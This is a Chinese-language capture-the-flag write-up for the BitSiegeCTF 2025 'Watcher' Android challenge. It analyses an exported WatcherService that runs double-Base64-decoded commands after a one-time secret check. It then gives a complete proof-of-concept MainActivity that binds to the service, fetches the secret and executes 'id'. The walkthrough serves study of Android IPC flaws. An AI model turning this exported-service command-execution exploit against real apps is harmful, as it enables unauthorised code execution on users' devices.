BitSiegeCTF2025-Watcher
arch3rn4r

前置分析

题目描述
题目下载链接:https://github.com/0xbinder/BitCTF-2025/blob/main/watcher.apk
image
打开modsf,获取到它的基本信息和暴露的组件
image

Package Name: com.example.watcher
exported services:com.example.watcher.WatcherService

查看WatcherService的代码,可以发现它里面有命令执行相关的代码,纳米就可以利用它这个暴露的WatcherService来尝试进行命令执行
题目要求说的是编写一个app来触发命令执行,接下来就是看具体的交互和代码编写

代码分析

打开WatcherService.java,分析代码执行流程
主要处理这三个情况

1
2
3
public static final int MSG_ECHO = 1;
public static final int MSG_GET_SECRET = 2;
public static final int MSG_RUN_COMMAND = 3;

case3和命令执行相关,里面包含了一个一次性secret的检查,下面是secret相关代码

1
2
3
WatcherService.this.currentRequestedSecret = UUID.randomUUID().toString();
String providedSecret = message.getData().getString("secret");
else if (WatcherService.this.currentRequestedSecret == null || !WatcherService.this.currentRequestedSecret.equals(providedSecret))

如果成功的话,就会执行这个代码

1
String commandOutput = Handlers.executeCommand(command);

那么现在点击Handlers来处理命令执行相关的代码
它这里有两个判断,如果sdk的版本大于26那么会对传入的数据进行两次base64解码,也就是说我们传入的初始字符要经过两次base64加密后再传入(我使用的sdk是29,所以我需要遵循两次加密)

1
2
3
4
5
6
7
if (Build.VERSION.SDK_INT >= 26) {
singleDecodedCommand = new String(Base64.getDecoder().decode(doubleEncodedCommand));
}
String command = null;
if (Build.VERSION.SDK_INT >= 26) {
command = new String(Base64.getDecoder().decode(singleDecodedCommand));
}

解密没有问题后就会开始执行代码

1
Process process = Runtime.getRuntime().exec(command);

为什么以API26为界限呢
因为java.util.Base64是在 Android API 级别 26 (Android 8.0 Oreo) 才被正式引入并保证可用的。API26之前是使用android.util.Base64。
在这题中没有处理API26之后的情况,如果是API26之后,解码步骤会被跳过,command会为null,程序无法执行

编写poc

IBinder 是一个通信接口,定义了外部应用可以如何与该 Service 交互,onBind 返回了 messenger.getBinder()。外部应用拿到这个 IBinder 后,就可以创建一个 Messenger 对象,从而能够向 WatcherService 的 IncomingHandler 发送 Message。

1
2
3
4
public IBinder onBind(Intent intent) {
return this.messenger.getBinder();
}

连接service

进行连接
绑定到目标service

1
2
3
4
5
6
7
8
9
protected void onStart() {  
Intent intent = new Intent();
//绑定目标app和目标服务
intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_SERVICE));
try {
bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
//BIND_AUTO_CREATE:只要存在绑定,就自动创建服务。
}
}

客户端通过调用 bindService() 绑定到服务。调用时,它必须提供 ServiceConnection 的实现,后者会监控与服务的连接。调用 bindService() 指示 请求的服务是否存在,以及是否允许客户端访问该服务。
时间 Android 系统会在客户端与服务之间创建连接, 致电 onServiceConnected() (在 ServiceConnection 上)。通过 onServiceConnected() 方法包含 IBinder 参数,客户端随后会使用该参数与绑定服务进行通信。

处理连接

1
2
3
4
5
6
7
8
9
10
11
12
private final ServiceConnection mConnection = new ServiceConnection() {  
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
//name:服务已连接的组件的具体名称。
//service:服务通信通道的 IBinder,您现在可以对其进行调用。
mServiceMessenger = new Messenger(service);
//WatcherService 使用 Messenger 进行通信,并且它的 onBind 返回的是其内部 Messenger 的 Binder (messenger.getBinder())。所以,我们用 WatcherService 返回的这个 IBinder (service) 来创建一个新的 Messenger 对象 (mServiceMessenger)。这个 mServiceMessenger 现在就指向了 WatcherService 内部的 IncomingHandler,可以用来向 WatcherService发送消息了。
}

public void onServiceDisconnected (ComponentName name){
//name:该服务的具体组件名称,其连接已丢失。
}

处理一次性secret

请求secret

1
2
3
4
5
6
7
8
Message getSecretMsg = Message.obtain(null, MSG_GET_SECRET); 
//Handler h:null:在创建要跨进程发送的消息时,源 Handler 通常设为 null。
//int what:MSG_GET_SECRET
getSecretMsg.replyTo = mReplyMessenger;
try {
mServiceMessenger.send(getSecretMsg);
//向WatcherService发送信息,最终WatcherService的 public void handleMessage(Message message)处理信息
}

存储secret
mReplyMessenger用ReplyHandler处理回复的信息

1
2
3
4
5
6
7
8
9
String reply = msg.getData() != null ? msg.getData().getString(KEY_REPLY) : null;
//匹配键值对(在watcherservice的sendReply设置)提取reply(回复的信息)

switch (msg.what) {
case MSG_GET_SECRET:
mReceivedSecret = reply;
//保存回复的信息(一次性secret)
sendCommand();
//并且就在这里马上进行执行指令,因为这个口令是一次性的,每次请求都不一样

发送指令

准备指令

1
2
3
4
5
6
7
8
String command = "id"; // The command to execute  
String doubleEncodedCommand = doubleEncodeBase64(command);
//进行两次base64加密,对应handler的两次base64解码

bundle.putString(KEY_SECRET, mReceivedSecret);
bundle.putString(KEY_COMMAND, doubleEncodedCommand);
runCmdMsg.setData(bundle);
//准备对象池,设立键值对,需要一次性secret和目标command

进行指令的发送并处理消息回复

1
2
runCmdMsg.replyTo = mReplyMessenger;
mServiceMessenger.send(runCmdMsg);

完整的MainActivity.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
package com.example.watchpoc;  

import androidx.appcompat.app.AppCompatActivity;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.os.Message;
import android.os.Messenger;
import android.os.RemoteException;
import android.util.Log;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

import java.nio.charset.StandardCharsets;
import java.util.Base64; // Requires API 26+

public class MainActivity extends AppCompatActivity {

private static final String TAG = "MinimalPOC";
private static final String TARGET_PACKAGE = "com.example.watcher"; // Target App
private static final String TARGET_SERVICE = "com.example.watcher.WatcherService"; // Target Service

// Message codes from WatcherService private static final int MSG_GET_SECRET = 2;
private static final int MSG_RUN_COMMAND = 3;
// Bundle keys from WatcherService
private static final String KEY_SECRET = "secret";
private static final String KEY_COMMAND = "command";
private static final String KEY_REPLY = "reply";

private Messenger mServiceMessenger = null; // Sends messages to target service
private boolean mIsBound = false;
private String mReceivedSecret = null;

// Receives replies from target service
private final Messenger mReplyMessenger = new Messenger(new ReplyHandler(Looper.getMainLooper()));

private Button buttonRun;
private TextView textOutput;

// Handles replies from WatcherService
private class ReplyHandler extends Handler {
public ReplyHandler(Looper looper) { super(looper); }

@Override
public void handleMessage(Message msg) {
String reply = msg.getData() != null ? msg.getData().getString(KEY_REPLY) : null;
Log.d(TAG, "Reply received: what=" + msg.what + ", reply=" + reply);

switch (msg.what) {
case MSG_GET_SECRET:
if (reply != null && !reply.startsWith("Error")) {
mReceivedSecret = reply;
textOutput.append("\nSecret received: " + mReceivedSecret);
// Now send the command
sendCommand();
} else {
textOutput.append("\nError getting secret: " + reply);
Log.e(TAG, "Failed to get secret: " + reply);
buttonRun.setEnabled(true);
}
break;
case MSG_RUN_COMMAND:
textOutput.append("\nCommand Output:\n" + reply);
Log.i(TAG, "Command output received.");
buttonRun.setEnabled(true);
break;
default:
super.handleMessage(msg);
}
}
}

// Connects/disconnects from WatcherService
private final ServiceConnection mConnection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
mServiceMessenger = new Messenger(service);
mIsBound = true;
buttonRun.setEnabled(true);
textOutput.setText("Service Connected. Ready.");
Log.i(TAG, "Watcher Service connected.");
}

@Override
public void onServiceDisconnected(ComponentName name) {
mServiceMessenger = null;
mIsBound = false;
buttonRun.setEnabled(false);
textOutput.setText("Service Disconnected.");
Log.w(TAG, "Watcher Service disconnected.");
}
};

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

buttonRun = findViewById(R.id.button_run);
textOutput = findViewById(R.id.text_output);

buttonRun.setEnabled(false);
buttonRun.setOnClickListener(v -> startExploit());
}

@Override
protected void onStart() {
super.onStart();
textOutput.setText("Binding to Watcher Service...");
Intent intent = new Intent();
intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_SERVICE));
try {
bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
} catch (Exception e) {
textOutput.setText("Error binding: " + e.getMessage() + "\nIs Watcher installed?");
Log.e(TAG, "Error binding", e);
}
}

@Override
protected void onStop() {
super.onStop();
if (mIsBound) {
unbindService(mConnection);
mIsBound = false;
mServiceMessenger = null;
buttonRun.setEnabled(false);
Log.d(TAG, "Unbound from service.");
}
}

// --- Exploit Steps ---

private void startExploit() {
if (!mIsBound) {
Toast.makeText(this, "Service not bound", Toast.LENGTH_SHORT).show();
return;
}
buttonRun.setEnabled(false);
textOutput.setText("Requesting secret...");
mReceivedSecret = null; // Reset previous secret

// 1. Request the secret
Message getSecretMsg = Message.obtain(null, MSG_GET_SECRET);
getSecretMsg.replyTo = mReplyMessenger;
try {
mServiceMessenger.send(getSecretMsg);
Log.d(TAG, "Sent MSG_GET_SECRET");
} catch (RemoteException e) {
textOutput.setText("Error sending get_secret: " + e.getMessage());
Log.e(TAG, "Failed to send MSG_GET_SECRET", e);
buttonRun.setEnabled(true);
}
}

private void sendCommand() {
if (!mIsBound || mReceivedSecret == null) {
textOutput.append("\nCannot send command (not bound or no secret)");
Log.e(TAG, "sendCommand called but not ready (bound=" + mIsBound + ", secret=" + mReceivedSecret + ")");
buttonRun.setEnabled(true);
return;
}

textOutput.append("\nSending 'id' command...");

// 2. Prepare the command
String command = "id";
String doubleEncodedCommand = doubleEncodeBase64(command);

if (doubleEncodedCommand == null) {
textOutput.append("\nError: Failed to Base64 encode command.");
Log.e(TAG, "Double Base64 encoding failed");
buttonRun.setEnabled(true);
return;
}

// 3. Send the command message
Message runCmdMsg = Message.obtain(null, MSG_RUN_COMMAND);
Bundle bundle = new Bundle();
bundle.putString(KEY_SECRET, mReceivedSecret);
bundle.putString(KEY_COMMAND, doubleEncodedCommand); // Use the encoded command
runCmdMsg.setData(bundle);
runCmdMsg.replyTo = mReplyMessenger;

try {
mServiceMessenger.send(runCmdMsg);
Log.d(TAG, "Sent MSG_RUN_COMMAND");
} catch (RemoteException e) {
textOutput.append("\nError sending command: " + e.getMessage());
Log.e(TAG, "Failed to send MSG_RUN_COMMAND", e);
buttonRun.setEnabled(true);
}
}

private String doubleEncodeBase64(String input) {
try {
byte[] singleEncoded = Base64.getEncoder().encode(input.getBytes(StandardCharsets.UTF_8));
byte[] doubleEncoded = Base64.getEncoder().encode(singleEncoded);
return new String(doubleEncoded, StandardCharsets.UTF_8);
} catch (Exception e) {
Log.e(TAG, "Base64 encoding failed", e);
return null;
}
}
}

对应的activity_main.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8"?>  
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="16dp">

<Button android:id="@+id/button_run"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Run 'id' command on Watcher" />

<TextView android:id="@+id/text_output"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="16dp"
android:text="Output will appear here..."
android:textAppearance="@style/TextAppearance.AppCompat.Medium"
android:textIsSelectable="true"/>

</LinearLayout>

image

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
总字数 78k 访客数